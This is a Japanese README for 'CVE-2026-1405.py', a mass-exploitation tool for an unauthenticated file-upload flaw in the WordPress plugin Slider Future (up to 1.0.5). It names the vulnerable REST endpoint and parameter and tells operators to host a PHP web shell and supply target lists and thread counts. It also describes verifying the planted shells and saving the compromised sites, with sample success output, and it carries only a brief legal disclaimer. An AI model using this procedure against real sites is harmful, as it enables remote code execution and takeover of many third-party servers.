CVE-2026-1405

Slider Future <= 1.0.5 - 未認証の任意ファイルアップロード

🚀 CVE-2026-1405.py — Slider Future 大量エクスプロイトツール

🩸 脆弱性の概要

コンポーネント: Slider Future（WordPress プラグイン）
影響を受けるバージョン: ≤ 1.0.5
脆弱性: 未認証の任意ファイルアップロード
CVE: CVE-2026-1405
CVSS スコア: 9.8（緊急）

WordPress 用プラグイン Slider Future は、1.0.5 までの全バージョンにおいて、slider_future_handle_image_upload 関数のファイルタイプ検証の欠落により、任意のファイルアップロードに対して脆弱です。これにより、未認証の攻撃者が悪意のある PHP シェルを含む任意のファイルタイプを影響を受けるサーバーに直接アップロードでき、リモートコード実行が可能になります。

⚡ エクスプロイトの機能

• 複数のターゲットに対する大量エクスプロイト。
• 脆弱なエンドポイントを使用：/wp-json/slider-future/v1/upload-image/
• image_url パラメータを介してリモート PHP シェルをアップロード（認証不要）。
• ユーザー定義のシグネチャをチェックすることで、シェルの実行を自動的に検証します。

🛠️ 使用方法

1. ターゲットの WordPress サイトを1行に1つずつ記載したテキストファイルを用意します：

http://example1.com
https://example2.com
...

2. PHP シェルをオンラインでホストし、その直接 URL を用意します。

例：http://yourserver.com/shell.php

3. スクリプトを実行します：

python3 CVE-2026-1405.py

次の項目の入力が求められます：

• ターゲットファイル： ターゲットリストへのパス（デフォルト：list.txt）
• シェルの直接 URL： ターゲットにアップロードする、オンラインでアクセス可能なシェル
• シェルのシグネチャ： 検証用にシェル内に含まれる一意の文字列（例：Nxploited）
• スレッド数： 並列実行するスレッド数（デフォルト：10）

4. 出力

• エクスプロイト結果は、プロフェッショナルな Rich ベースのインターフェースにライブ表示されます。
• 成功したターゲットとシェル URL は自動的に success_results.txt に保存されます。

📝 スクリプトの詳細

• 名前： CVE-2026-1405.py
• 作者： Nxploited
• 言語： Python 3
• ライブラリ： requests、rich

動作の仕組み

1. 各ターゲットの脆弱なエンドポイントに POST リクエストを送信します：
   • URL： /wp-json/slider-future/v1/upload-image/
   • パラメータ： シェルを指す image_url
2. JSON レスポンスを解析し、アップロードされたシェルの URL を抽出します。
3. シェルの URL にアクセスし、シグネチャ文字列を検索します。
4. 各ターゲットの成功または失敗のステータスを表示します。

⚠️ 法的免責事項

このツールは、教育および許可されたセキュリティテストの目的でのみ使用してください。
所有していないサイト、またはテストする明示的な許可を得ていないサイトに対する不正使用は違法です。

💡 出力例

Exploit For: CVE-2026-1405
By: Nxploited

Targets loaded: 12
Shell URL: http://yourserver.com/shell.php
Signature: Nxploited

2026-02-20T16:05:23.123456+00:00 | http://target1.com -> SUCCESS | Shell Verified: http://target1.com/wp-content/uploads/2026/02/shell.php
2026-02-20T16:05:24.542342+00:00 | http://target2.com -> Upload failed or shell URL not found.
...
Finished: 3/12 succeeded in 14.7s
Saved successes to success_results.txt